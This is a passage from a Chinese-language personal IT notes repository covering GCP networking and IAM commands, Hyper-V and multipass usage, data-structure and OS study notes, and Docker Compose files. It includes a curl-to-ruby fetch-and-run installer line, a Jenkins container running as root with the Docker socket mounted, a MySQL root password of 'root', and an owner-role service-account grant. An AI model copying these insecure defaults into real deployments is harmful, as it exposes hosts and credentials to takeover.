29 | # 获取预留的 IP 地址
30 | gcloud compute addresses list
31 | # 指定实例,创建目标实例。当指定的实例不存在于这个zone内时,并不会有错误提示。
32 | gcloud compute target-instances create kujiu-target-instance2 --instance kujiu-test2 --zone us-east4-c
33 | gcloud compute target-instances list
34 | gcloud compute target-instances delete kujiu-target-instance2 --zone us-east4-c
35 | # --zone 指定空间
36 |
37 | # 指定目标实例,交互式选择区域,创建转发规则对象,生成临时外部地址,也可以指定静态外部地址
38 | gcloud compute forwarding-rules create kujiu-test-rule3 --ip-protocol TCP --ports 80 --target-instance kujiu-target-instance2 --target-instance-zone us-east4-c --region us-east4
39 | # --region 指定地区
40 | # --target-instance-zone 指定目标实例所在的空间
41 |
42 | # 获取转发规则分配的IP地址
43 | gcloud compute forwarding-rules list
44 |
45 |
46 | # --quiet = -q 删除时静默
47 | ```
48 |
49 | ## 网络服务:CDN 和 LB 和 后端服务
50 |
51 | 1. CDN 和 LB 是一对一关系的。
52 | 2. LB 将流量分发到 后端服务 或者 后端存储分区上
53 | 1. 负载平衡器的后端服务
54 | - 实例组 - (类似于k8s的Deployment,用于管理多个实例)
55 | - 网络端点组
56 | 1. 地区级网络端点组(GCE和GKE后端)
57 | 2. 互联网网络端点组(自定义来源)!!
58 | 3. 无服务网络端点组(App Engine、Cloud RUN、Cloud Functions)
59 | 2. 负载平衡器的后端存储分区
60 | - Cloud Storage
61 |
62 | - Computer Engine:网络端点组 network endpoint group (NEG)
63 | 1. 互联网端点组(地区级) -- 只能连接GoogleCloud内部的服务
64 | 2. 互联网端点组(互联网级)-- 可以连接互联网上的服务 !!
65 |
66 | ### CDN 缓存策略
67 |
68 | - https://cloud.google.com/cdn/docs/caching?\_ga=2.196277356.-1333077488.1603936828
69 |
70 | 1. CACHE_ALL_STATIC,存静态内容。
71 | 2. USE_ORIGIN_HEADERS,使用基于 Cache-Control 标头的源站设置。源站必须设置标头才会缓存。如果想绝不缓存,最好再在nginx下进行如下配置。
72 |
73 | ```conf
74 | http {
75 | add_header Cache-Control 'no-store';
76 | }
77 | ```
78 |
79 | 3. FORCE_CACHE_ALL,强制缓存所有内容。缓存由源站传送的所有内容,忽略任何“private”、“no-store”或“no-cache”指令。
80 |
81 | - 已经被缓存的键依然可能被旧的规则影响,解决措施为清空所有的CDN缓存键。
82 |
83 | - 缓存键配置:不能通过配置缓存键元素来决定是否缓存相关内容,只能通过其来决定是否使用CDN里的缓存内容。
84 |
85 | - CDN缓存成功的标志, 查看Response, Age返回头将会随时间而增长
86 |
87 | ```conf
88 | Age: 10
89 | ```
90 |
91 | - 答复
92 |
93 | 1. 是否可以绝不缓存? 可以。 CDN设置为 USE_ORIGIN_HEADERS 缓存策略,添加 负载均衡器的返回标头 Cache-Control no-store。
94 | 2. header /cookie是否可以传到后端去? 可以。
95 | 3. URL参数是否可以作为缓存键? 可以, 通过设置CDN的缓存键。
96 |
--------------------------------------------------------------------------------
/cloud/gcp/adc.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-04-08
3 | ---
4 |
5 | [TOC]
6 |
7 | - Google Cloud Application Default Credentials (ADC)
8 |
9 | ### 以服务帐号身份进行身份验证
10 |
11 | - 参考
12 | - https://www.jhanley.com/google-cloud-application-default-credentials/
13 | - https://cloud.google.com/docs/authentication/production#auth-cloud-implicit-python
14 |
15 | 1. 如果设置了环境变量 GOOGLE_APPLICATION_CREDENTIALS,则 ADC 会使用该变量指向的服务帐号文件。
16 |
17 | 2. 如果未设置环境变量 GOOGLE_APPLICATION_CREDENTIALS,则 ADC 使用关联到运行代码的资源的服务帐号。
18 |
19 | 3. 如果未设置环境变量 GOOGLE_APPLICATION_CREDENTIALS,且运行代码的资源未关联任何服务帐号,则 ADC 使用 Compute Engine、Google Kubernetes Engine、App Engine、Cloud Run 和 Cloud Functions 提供的默认服务帐号。
20 |
21 | 4. 默认服务账号文件 $HOME/.config/gcloud/application_default_credentials.json
22 |
23 | ### 权限操作
24 |
25 | ```bash
26 | gcloud iam service-accounts create ${service_account}
27 |
28 | gcloud iam service-accounts list
29 |
30 | gcloud projects add-iam-policy-binding ${project_id} --member="${service_account_email}" --role="roles/owner"
31 |
32 | gcloud iam service-accounts get-iam-policy ${service_account_email}
33 |
34 | gcloud iam service-accounts keys create ${file_name}.json --iam-account=${service_account_email}
35 | ```
36 |
--------------------------------------------------------------------------------
/cloud/gcp/armor.yaml:
--------------------------------------------------------------------------------
1 | # 参考 https://medium.com/@lynnlin827/use-cloud-armor-to-restrict-ip-access-on-kubernetes-57ca221f43f0
2 |
3 | apiVersion: cloud.google.com/v1beta1
4 | kind: BackendConfig
5 | metadata:
6 | namespace: default
7 | name: example-cloud-armor
8 | spec:
9 | securityPolicy:
10 | name: cloud armor 的名字
11 | ---
12 | kind: Service
13 | apiVersion: v1
14 | metadata:
15 | namespace: default
16 | name: 服务名
17 | annotations:
18 | beta.cloud.google.com/backend-config: '{"ports": {"http":"example-cloud-armor"}}'
19 | spec:
20 | selector:
21 | app: nginx
22 | type: NodePort
23 | ports:
24 | - name: http
25 | port: 80
26 | targetPort: 80
--------------------------------------------------------------------------------
/cloud/hyperV.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2023-11-14
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 镜像
8 |
9 | - iso属于光盘镜像文件,vhd属于虚拟硬盘文件(微软出品)
10 |
11 | ## multipass
12 |
13 | - https://multipass.run/install
14 |
15 | ```bash
16 | # Launch an instance (by default you get the current Ubuntu LTS)
17 | multipass launch --name foo
18 |
19 | # Run commands in that instance, try running bash (logout or ctrl-d to quit)
20 | multipass exec foo -- lsb_release -a
21 |
22 | # See your instances
23 | multipass list
24 |
25 | # Stop and start instances
26 | multipass stop foo bar
27 | multipass start foo
28 |
29 | # Clean up what you don’t need
30 | multipass delete bar
31 | multipass purge
32 |
33 | # Find alternate images to launch
34 | multipass find
35 |
36 | # Pass a cloud-init metadata file to an instance on launch. See using cloud-init with multipass for more details
37 | multipass launch -n bar --cloud-init cloud-config.yaml
38 |
39 | # See your instances
40 | multipass list
41 |
42 | # Get help、
43 | multipass help
44 | multipass help
45 | ```
46 |
47 | ## VMware vSphere PowerCLI
48 |
49 | - - https://learn.microsoft.com/zh-cn/virtualization/hyper-v-on-windows/quick-start/try-hyper-v-powershell
50 |
51 | ```bash
52 | # 显示 PowerShell 命令的可搜索列表
53 | Get-Command -Module hyper-v | Out-GridView
54 |
55 | # 查看某个指令的具体信息
56 | Get-Help Get-VM
57 |
58 | # 返回虚拟机列表
59 | Get-VM
60 |
61 | # 返回已启动的虚拟机列表
62 | Get-VM | where {$_.State -eq 'Running'}
63 |
64 | # 列出所有处于关机状态的虚拟机
65 | Get-VM | where {$_.State -eq 'Off'}
66 |
67 | # 启动所有当前已关机的虚拟机
68 | Get-VM | where {$_.State -eq 'Off'} | Start-VM
69 |
70 | # 关闭所有正在运行的虚拟机
71 | Get-VM | where {$_.State -eq 'Running'} | Stop-VM
72 |
73 | # 创建 VM 快照
74 | Get-VM -Name 虚拟机名称 | Checkpoint-VM -SnapshotName 快照名称
75 |
76 | # 创建新的虚拟机
77 | New-VM -Name 虚拟机名字 -MemoryStartupBytes 虚拟机内存bit -BootDevice VHD -VHDPath "vhdx镜像地址" -SwitchName 虚拟网卡的名称;
78 | New-VM -Name vm001 -MemoryStartupBytes 536870912 -BootDevice VHD -VHDPath "E:\hyper-v\vDisk\cq (1).vhdx" -SwitchName "外部虚拟交换机";
79 | New-VM -Name vm_1 -MemoryStartupBytes 1GB -VMISOPath "D:\APP\ISO\cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso"
80 | ```
81 |
82 | - 默认虚拟机目录 C:\\ProgramData\\Microsoft\\Windows\\Hyper-V
83 | - 默认虚拟硬盘目录 C:\\ProgramData\\Microsoft\\Windows\\Virtual Hard Disks
84 |
--------------------------------------------------------------------------------
/cloud/vs.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-30
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 在一台服务器上,通过多个不同公网IP访问互联网的实现方式
8 |
9 | ### aws方式
10 |
11 | https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI
12 |
13 | 1. 不同的实例类型 可以绑定的网卡数量不一样,每张网卡可以绑定的私有ip地址(辅助ip)也不一样。
14 | 2. t2.medium 类型的实例:最多可以绑定3张网卡,每张网卡最多有6个私有ip地址。
15 | 3. 一个外部IP可以关联一个私有IP。
16 |
17 | ### google方式
18 |
19 | https://cloud.google.com/vpc/docs/create-use-multiple-interfaces 多接口
20 | https://cloud.google.com/migrate/compute-engine/docs/4.5/how-to/networking/using-multiple-ip-addresses?hl=zh-cn 别名IP
21 | https://cloud.google.com/compute/docs/protocol-forwarding 协议转发
22 |
23 | 1. 只有在创建实例时才可以创建网络接口
24 | 2. 在单个实例中配置的每个网络接口都必须连接到不同的 VPC 网络
25 | 3. 可为每个虚拟机实例配备 1-8 个网络接口。每个实例可以配置的网络接口 取决于 有多少个VPC网络 和 实例本身的CPU数。每个接口对应一个外部 IP 地址.
26 | 4. 一个接口可以有多个别名IP(私有IP)-- (服务器内执行指令ip a,别名IP不会显示)。
27 | 5. 可以通过申请多个外部IP地址,然后通过协议转发到某个实例上。 在实例上可以监听被转发过来的IP:PORT。
28 |
--------------------------------------------------------------------------------
/computer/data-structure/Fibon.c:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | int a=0;
4 | int Fibon1(int n)
5 | {
6 | printf("\nAn%d=%d ",a, n);
7 | if (n == 1 || n == 2)
8 | {
9 | printf("Bn%d=%d ",a, n);
10 | return 1;
11 | }
12 | else
13 | {
14 | printf("Cn%d=%d ",a, n);
15 | a++;
16 | return Fibon1(n - 1) + Fibon1(n - 2);
17 | }
18 | }
19 | int main()
20 | {
21 | int n = 0;
22 | int ret = 0;
23 | scanf("%d", &n);
24 | ret = Fibon1(n);
25 | printf("ret=%d", ret);
26 | return 0;
27 | }
28 |
--------------------------------------------------------------------------------
/computer/data-structure/algorithm.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/computer/data-structure/algorithm.jpg
--------------------------------------------------------------------------------
/computer/data-structure/algorithm.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-30
3 | ---
4 |
5 | [TOC]
6 |
--------------------------------------------------------------------------------
/computer/data-structure/structure.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 数据结构概述
8 |
9 | 1. 存储在计算机中的数据之间存在一定的联系,这种联系体现在数据之间所具备的逻辑关系,同时对应着数据在计算机中的存储结构。
10 |
11 | 2. 存储结构/物理结构
12 |
13 | - 是逻辑结构在计算机中的具体表示(又称映像),其有顺序存储结构和链式存储结构两种类型。
14 |
15 | 3. 逻辑结构
16 |
17 | - 描述了数据元素间的逻辑关系,大致分为:线性结构和非线性结构。
18 |
19 | ## 线性的逻辑结构
20 |
21 | ### 一 数组
22 |
23 | 1. 定义
24 |
25 | - 一个有限的、类型相同的数据的集合,在内存中是一段连续的内存区域。
26 |
27 | 2. 数据的访问 O(1)
28 |
29 | - array[n] = array[0] + 每个元素大小\*n
30 |
31 | 3. 优点:
32 |
33 | 1. 按照索引查询元素, 速度快
34 | 2. 按照索引遍历数组方便
35 |
36 | 4. 缺点:
37 |
38 | 1. 数组的大小固定后就无法扩容了
39 | 2. 数组只能存储一种类型的数据
40 | 3. 添加,删除的操作慢,因为要移动后面的所有元素。(采取根据地址删除,根据地址添加元素,解决添加删除慢的问题)
41 |
42 | 5. 适用场景:
43 |
44 | 1. 频繁查询,不需要扩容,很少插入和删除的情况。
45 |
46 | ### 二 链表
47 |
48 | 1. 定义
49 |
50 | - 链表是物理存储单元上非连续的、非顺序的存储结构,数据元素的逻辑顺序是通过链表的指针地址实现。
51 | - 每个节点包含两个区域,一个是存储元素的数据域 (内存空间),另一个是指向下一个元素地址的指针域。
52 |
53 | 2. 数据访问 O(n)
54 |
55 | - 需要一个节点一个节点的遍历,直到找到被访问的元素。
56 |
57 | 3. 优点
58 |
59 | 1. 不需要初始化容量,可以任意加减元素。
60 | 2. 添加,删除很快:添加或者删除元素时只需要改变前后两个节点区域的指针域指向地址即可。
61 |
62 | 4. 缺点
63 |
64 | 1. 因为每个节点含有指针域,需要额外的空间;
65 | 2. 查找元素需要遍历链表来查找,非常耗时。
66 |
67 | 5. 适用场景
68 | 容量不固定,查询操作少,需要频繁增加,删除操作的场景。
69 |
70 | 6. 衍生
71 |
72 | - 单链表,双向链表,循环链表等。
73 |
74 | ### 三 栈
75 |
76 | 1. 栈是一种特殊的链表,仅能在链表的一端操作,栈顶允许操作,栈底不允许操作。
77 | 2. 特点:先进后出。LIFO
78 |
79 | ### 四 队列
80 |
81 | 1. 队列是一种特殊的链表,只可以在一端添加元素,在另一端取出元素。
82 | 2. 特点:先进先出。FIFO
83 |
84 | ## 非线性的逻辑结构
85 |
86 | ### 一 树
87 |
88 | - 树是一种数据结构,它是由n(n>=1)个有限节点组成一个具有层次关系的集合。
89 |
90 | #### 二叉树
91 |
92 | 1. 二叉树是一种特殊的树,最常用的一种树结构。
93 |
94 | 2. 定义
95 |
96 | 1. 二叉树是有序树。
97 | 2. 每个节点最多有两个子节点,子结点的数量最大为2。
98 | 3. 左子节点和右子节点是有顺序的,次序不能颠倒。
99 | 4. 只有一个子节点时,也需要确定是左节点会是右节点。
100 |
101 | 3. 性质
102 |
103 | 1. 二叉树的第i层上至多有2的(i-1)次方(i≥1)个节点
104 | 2. 深度为h的二叉树中至多含有2h-1个节点
105 |
106 | 4. 适用场景
107 |
108 | - 二叉树是一种比较有用的折中方案,它添加,删除元素都很快,并且在查找方面也有很多的算法优化,所以,二叉树既有链表的好处,也有数组的好处,是两者的优化方案,在处理大批量的动态数据方面非常有用。
109 |
110 | 5. 二叉树的衍生
111 | 平衡二叉树、红黑树、B+树等,这些数据结构在二叉树的基础上衍生了很多的功能,在实际应用中广泛用到,例如mysql的数据库索引结构用的就是B+树,还有HashMap的底层源码中用到了红黑树。这些二叉树的功能强大,但算法上比较复杂。
112 |
113 | ##### 平衡二叉树
114 |
115 | 1. 定义
116 | 1. 平衡二叉树包含二叉树的一种。
117 | 2. 左边的子节点小当前父节点的值,右边的子节点大于当前父节点的值。
118 |
119 | ##### B+树
120 |
121 | ### 二 散列表
122 |
123 | 1. 散列表也叫哈希表,是根据关键码和值 (key和value) 直接进行访问的数据结构,通过key和value来映射到集合中的一个位置,这样就可以很快找到集合中的对应元素。
124 |
125 | ### 三 堆
126 |
127 | ### 四 图
128 |
129 | ## 扩展
130 |
131 | - cpu读取缓存只能读取连续内存的内容,cpu缓存的速度要比内存的速度快上很多,数组的连续性正好符合cpu缓存的指令原理。
132 |
--------------------------------------------------------------------------------
/computer/data-structure/structure.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/computer/data-structure/structure.png
--------------------------------------------------------------------------------
/computer/deep-learning/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 为什么GPU特别擅长处理图像数据呢?
8 | 因为图像上的每一个像素点都有被处理的需要,而且每个像素点处理的过程和方式都十分相似。
9 |
--------------------------------------------------------------------------------
/computer/deep-learning/cpu-gpu.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/computer/deep-learning/cpu-gpu.jpg
--------------------------------------------------------------------------------
/computer/hareware/chip.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-05-13
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 相关链接
8 |
9 | - 相关文章
10 | - GPU,CPU,SOC,DSP,FPGA,ASIC,MCU,MPU,GPP,ECU等都是什么 https://www.sohu.com/a/524003146_560178
11 | - FPGA, CPU, GPU, ASIC区别,FPGA为何这么牛 http://news.sohu.com/a/524904178_121266081
12 | - GPU基本知识和CUDA C编程(向量加法) https://zhuanlan.zhihu.com/p/434572353
13 | - CPU、GPU、NPU等芯片架构、特点研究 http://t.zoukankan.com/liuyufei-p-13259264.html
14 | - 显卡价格监控 https://www.zhihu.com/column/c_1435379298346168321
15 |
16 | ## 芯片架构
17 |
18 | - ASIC
19 |
20 | - Application Specific IntegratedCircuit(专用定制芯片),也被称为专用集成电路。
21 | - 介绍: 芯片内部架构较为简单,不可以硬件编程,只能用来专门处理某一种功能,灵活性最差,但是在执行某一种任务上的效率最高。
22 | - 产商: ASIC里面有多种架构,谷歌的TPU、地平线BPU、寒武纪和华为都推出的NPU等。
23 |
24 | - FPGA
25 |
26 | - Field Programmable Gate Array(可编辑门阵列),也被称为可编程集成电路。
27 | - 介绍: 芯片内部架构稍微复杂一些,可以硬件编程,因而可以通过硬件编程语言来改变内部芯片的逻辑结构,从而能够在提供一定灵活性的同时,还能够保证较高的处理效率,算是在灵活性和性能上取了个折中。
28 |
29 | - CPU
30 |
31 | - Central Processing Unit(中央处理器),也被称为通用集成电路。
32 | - 介绍: CPU芯片内部架构最复杂,不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件,具备最高的灵活性,和最低的处理效率。
33 | - 产商: Intel英特尔 、 AMD 、 苹果M1。
34 |
35 | - GPU
36 |
37 | - Graphics Processing Unit(图形处理器),也被称为视觉处理单元(VPU)、显示核心、视觉处理器、显示芯片。
38 | - 介绍:不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件。相比于CPU,GPU的逻辑运算单元(ALU)小而多,控制器功能简单。擅长高强度的并行计算。
39 | - 产商: NVIDIA英伟达 、 AMD 、 Intel英特尔。
40 |
41 | ## CPU
42 |
43 | - 结构
44 | - 运算器(算术逻辑运算单元,ALU,Arithmetic Logic Unit)
45 | - 高速缓冲存储器(Cache
46 | -
47 |
48 | ## GPU
49 |
50 | - GPU芯片有两大厂商
51 |
52 | - Nvidia(英伟达),N卡
53 | - AMD(原名ATI),A卡
54 |
55 | - N卡
56 |
57 | - 命名规则分为前缀、代号和后缀三个部分。
58 | - 前缀分别有GT、GTS、GTX和RTX,性能指数分别对应:低端、入门、中端、高端。
59 | - 代号数字第一至第二位代表系列(代数),代数越新越好。
60 | - 后两位代表性能,后缀常见的有super和ti,分别都是代表是这个型号的加强版。
61 | - 例如 RTX2080ti,就是高端20系列,性能指数80的加强版显卡。
62 |
63 | - A卡
64 |
65 | - 命名规则分为前缀、代号和后缀三个部分
66 | - 三代之前前缀分为:R9高端、R7中端、R5入门以及R3低端,在往前就是远古时代的HD开头了。
67 |
68 | - 显卡类型
69 |
70 | 1. 集成显卡: 主要是早期电脑主板上的板载显卡,集中在北桥芯片中,这类显卡性能差。
71 | 2. 核心显卡: intel开创的,集成在CPU中的显示核心,常说的intel的i3-i5-i7中,大部分都是有核心显卡的。
72 | 3. 独立显卡: 插在主板PCI-E插槽中,由于较大的空间和电源保证,独立显卡能做到很高的性能。
73 |
--------------------------------------------------------------------------------
/computer/hareware/machine-board.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/computer/hareware/machine-board.png
--------------------------------------------------------------------------------
/computer/hareware/os.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2023-09-25
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 在mac上制作Windows11启动U盘(M1)
8 |
9 | - 参考
10 | - https://zhuanlan.zhihu.com/p/23470454
11 | - https://www.freecodecamp.org/chinese/news/how-make-a-windows-10-usb-using-your-mac-build-a-bootable-iso-from-your-macs-terminal/
12 |
13 | 1. 下载IOS镜像 https://www.microsoft.com/en-gb/software-download/windows11
14 |
15 | 2. 格式化
16 |
17 | - 电脑打开后,插入u盘,进入磁盘工具抹除硬盘,并把选择MS—DOS(FAT32)格式,文件名为WIN11(请务必改名,方便后续操作)
18 |
19 | ```sh
20 | # 或者通过命令行操作
21 | diskutil list
22 | diskutil eraseDisk MS-DOS "WIN11" MBR /dev/磁盘设备号
23 | ```
24 |
25 | 3. 挂载IOS镜像
26 |
27 | - 双击下载好的iso文件(不会有窗口打开,需要去桌面查看挂载的iso文件),请记住挂载的文件名字,之后需要用到
28 |
29 | ```sh
30 | # 或者通过命令行操作,使用 hdiutil 指令挂载 Windows 11 文件夹并准备传输
31 | hdiutil mount ~/Downloads/Win11_22H2_Chinese_Simplified_x64v2.iso
32 | ```
33 |
34 | 4. 复制除install.wim文件之外的所有内容到U盘内(install.wim 太大而无法复制到 FAT-32 格式的 USB 驱动器)
35 |
36 | ```sh
37 | rsync -vha --exclude=sources/install.wim /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/* /Volumes/WIN11
38 | ```
39 |
40 | 5. 通过 wimlib 指令复制install.wim文件到U盘内
41 |
42 | ```sh
43 | # 使用 wimlib 指令
44 | # 下载 wimlib 指令 brew install wimlib 或者 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
45 | mkdir /Volumes/WIN11/sources
46 | # wimlib 默认将 install.wim 文件拆分为 2 个小于 4 GB 的文件(以下命令中使用 3.8 GB),然后将它们复制到USB内:
47 | wimlib-imagex split /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/sources/install.wim /Volumes/WIN11/sources/install.swm 3800
48 |
49 | ```
50 |
51 | ## windows11
52 |
53 | 1. 安装新系统时跳过网络连接的方法
54 | 1. 进入到联网页面后,拔掉网线,并保持无线网络未在连接状态。
55 | 2. 按Shift + F10调出CMD,输入命令:oobe\\BypassNRO.cmd,输入完成后按Enter
56 |
--------------------------------------------------------------------------------
/computer/os/linux-os.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/computer/os/linux-os.png
--------------------------------------------------------------------------------
/computer/os/os.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-20
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Linux
8 |
9 | ### 操作系统的发展历程:
10 |
11 | 大型机--个人计算机--网络--移动互联网--云计算--泛在计算(物联网)--机器人
12 |
13 | ### CPU状态之间的转换
14 |
15 | - 用户态-->内核态
16 | 中断(外中断)/异常(内异常)/陷入机制
17 |
18 | 1. 通过中断机制陷入内核态,三种方式
19 |
20 | 1. 外围设备的中断: 对硬件进行操作(如读取磁盘文件、发送网络数据)。
21 | 2. 系统调用: 创建进程.
22 | 3. 异常: 用户态不可知异常。
23 |
24 | 2. 硬件:中断/异常响应
25 |
26 | 3. 软件:中断/异常处理程序
27 |
28 | ### 传统操作系统:
29 |
30 | 批处理操作系统--spooling技术(1961):输入井-主机-输出井。例如现在的打印机
31 | 分时操作系统--
32 | 实时操作系统--
33 | 个人计算机操作系统--
34 | 网络操作系统--
35 | 分布式操作系统--
36 | 嵌入式操作系统
37 |
38 | 批处理系统中采用的调度算法:
39 | 先来先服务(FCFS) 最短作业先(SJF) 最短剩余时间优先(SRTN)最高响应优先(HRRN)
40 | 交互式系统调度算法:
41 | 时间片算法 虚拟轮转法 最高优先行算法
42 |
43 | ### 进程切换
44 |
45 | 1. 切换全局页目录。
46 | 2. 切换内核栈和硬件上下文。
47 | 3. 上下文切换具体步:
48 | - 例如进程A下CPU,B上CPU
49 | 1. 保存进程A的上下文环境(程序计数器,程序状态,其它寄存器...)
50 | 2. 用新状态和其它相关信息更新进程A的PCB
51 | 3. 把进程A移至合适的队(就绪.堵塞..)
52 | 4. 把进程B的状态设置为运行态
53 | 5. 从进程B的PCB中恢复上下文(..)
54 | 4. 上下文切换开销:
55 | 1. 直接开销 内核完成切换所用的CPU时间(保存和恢复寄存器,切换地址空间)
56 | 2. 简接开销(高速缓存,缓冲区缓存和TLB失效)
57 |
58 | ### 同步互斥 :PV 信号 管程
59 |
60 | IPC
61 |
62 | ### 内存--虚拟存储技术--页式存储管理方案--页面置换算法
63 |
64 | ### 寄存器--高速缓存--高速缓存CacheL2--高速缓存CacheL3--RAM--Disk
65 |
66 | ### IO:
67 |
68 | - 硬件组成--控制方式--软件组成--相关技术--性能问题
69 | - IO性能:
70 |
71 | 1. 使CPU利用率尽可能不被I/O降低
72 | 2. 使CPU尽可能摆脱I/O
73 | 方案:
74 | 1. 减少或缓解速度差距--缓冲技术
75 | 2. 使CPU不等待I/O--异步I/O
76 | 3. 让CPU摆脱I/O操作--DMA,通道
77 |
78 | ### 死锁
79 |
80 | 1. 为什么会出现死锁:
81 | 资源数量有限,锁 和 信号量错误使用。
82 |
83 | 2. 产生死锁的必要条件:
84 |
85 | 1. 互斥使用(资源独占)
86 | 2. 占用且等待(请求和保持,部分分配)
87 | 3. 不可抢占(不可剥夺)
88 | 4. 循环等待
89 |
90 | 3. 解决死锁的办法:
91 |
92 | 1. 不让死锁发生
93 | - 死锁预防(静态策略)
94 | - 死锁避免(动态策略)
95 | 2. 让死锁发生
96 | 死锁检测与解除
97 |
98 | ### 银行家算法
99 |
--------------------------------------------------------------------------------
/container/Docker/docker-1.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-04
3 | ---
4 |
5 | [TOC]
6 |
7 | # docker
8 |
9 | - https://docs.docker.com
10 | - https://www.infoq.cn/article/docker-kernel-knowledge-namespace-resource-isolation namespace
11 | - https://www.infoq.cn/article/docker-kernel-knowledge-cgroups-resource-isolation cgroup
12 |
13 | ## 原理
14 |
15 | ### Docker底层使用的Linux技术
16 |
17 | - https://www.jianshu.com/p/ab423c3db59d
18 |
19 | 1. 容器 = cgroup + namespace + rootfs + 容器引擎
20 | 2. 每个容器都是一个进程,这种进程拥有自己的特殊的子namespace、cgroup设置和rootfs挂载
21 |
22 | - cgroup: 资源控制 https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html?highlight=cgroups
23 | - namespace: 访问隔离
24 | - rootfs:文件系统隔离。镜像的本质就是一个rootfs文件
25 | - 容器引擎:生命周期控制
26 |
27 | ### 组件
28 |
29 | 1. docker:命令行管理工具
30 |
31 | 2. dockerd:Docker守护进程,负责与docker client交互;
32 |
33 | 3. containerd:负责镜像管理和容器管理的守护进程,containerd是一个标准的容器运行时,可以独立管理容器生命周期,也就是即使不运行dockerd,容器也能正常工作;
34 |
35 | 4. containerd-shim:是一个真实运行的容器的载体,每启动一个容器都会起一个新的shim的一个进程;
36 |
37 | 5. runC:一个命令行工具,根据OCI标准来创建和运行容器。
38 |
39 | ### docker run创建一个容器时的大致流程
40 |
41 | 1. docker工具向dockerd守护进程发送创建容器请求;
42 |
43 | 2. dockerd收到请求后再向containerd 请求创建一个容器;
44 |
45 | 3. containerd收到请求后并不会直接创建容器,而让containerd-shim 创建容器;
46 |
47 | 4. containerd-shim又调用runC创建容器(准备容器所需的namespace和cgroups就退出了),containerd-shim 就作为了该容器进程的父进程,负责收集容器状态并上报给containerd。
48 |
--------------------------------------------------------------------------------
/container/Docker/docker-1.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/container/Docker/docker-1.webp
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/jenkins.yaml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | jenkins:
4 | # image: jenkinsci/blueocean:1.24.4-bcc31d32159f
5 | # image: jenkins4eval/jenkins:slim # ram 指令集架构机器
6 | # image: jenkins:2.60.3-alpine # 官方
7 | image: jenkins/jenkins:2.277.2-lts-centos
8 |
9 | container_name: jenkins
10 | restart: always
11 | user: root
12 | ports:
13 | - "8080:8080"
14 | - "50000:50000"
15 | environment:
16 | TZ: Asia/Shanghai
17 | #entrypoint: /bin/bash -c -- " ulimit -c unlimited && /opt/java/openjdk/bin/java -Duser.home=/var/jenkins_home -Djenkins.model.Jenkins.slaveAgentPort=50000 -jar /usr/share/jenkins/jenkins.war"
18 | volumes:
19 | - /Users/admin/Desktop/docker/jenkins_home:/var/jenkins_home
20 | - /var/run/docker.sock:/var/run/docker.sock
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/mysql-redis.yaml:
--------------------------------------------------------------------------------
1 | version: "2.4"
2 |
3 | services:
4 | redis:
5 | image: redis:3.2.11
6 | hostname: redis
7 | restart: always
8 |
9 | mysql:
10 | image: mysql:latest
11 | hostname: mysql
12 | volumes:
13 | - 'db-data:/var/lib/mysql'
14 | ports:
15 | - '33061:3306'
16 | environment:
17 | - MYSQL_ROOT_PASSWORD=root
18 | - MYSQL_DATABASE=subscan
19 | restart: always
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/nexus.yaml:
--------------------------------------------------------------------------------
1 | # https://hub.docker.com/r/sonatype/nexus3
2 | # A persistent directory, /nexus-data,
3 | # is used for configuration, logs, and storage.
4 | # This directory needs to be writable by the Nexus process, which runs as UID 200.
5 | version: "3"
6 | services:
7 | nexus3:
8 | image: sonatype/nexus3:3.18.0
9 | container_name: nexus3
10 | # network_mode: "host"
11 | ports:
12 | - "8081:8081"
13 | volumes:
14 | - ./nexus-data:/nexus-data
15 | logging:
16 | driver: "json-file"
17 | options:
18 | max-size: "1024k"
19 | max-file: "20"
20 | restart: always
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/promethues-grafana/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | version: "3"
2 | services:
3 | grafana:
4 | image: grafana/grafana
5 | ports:
6 | - "3000:3000"
7 | prometheus:
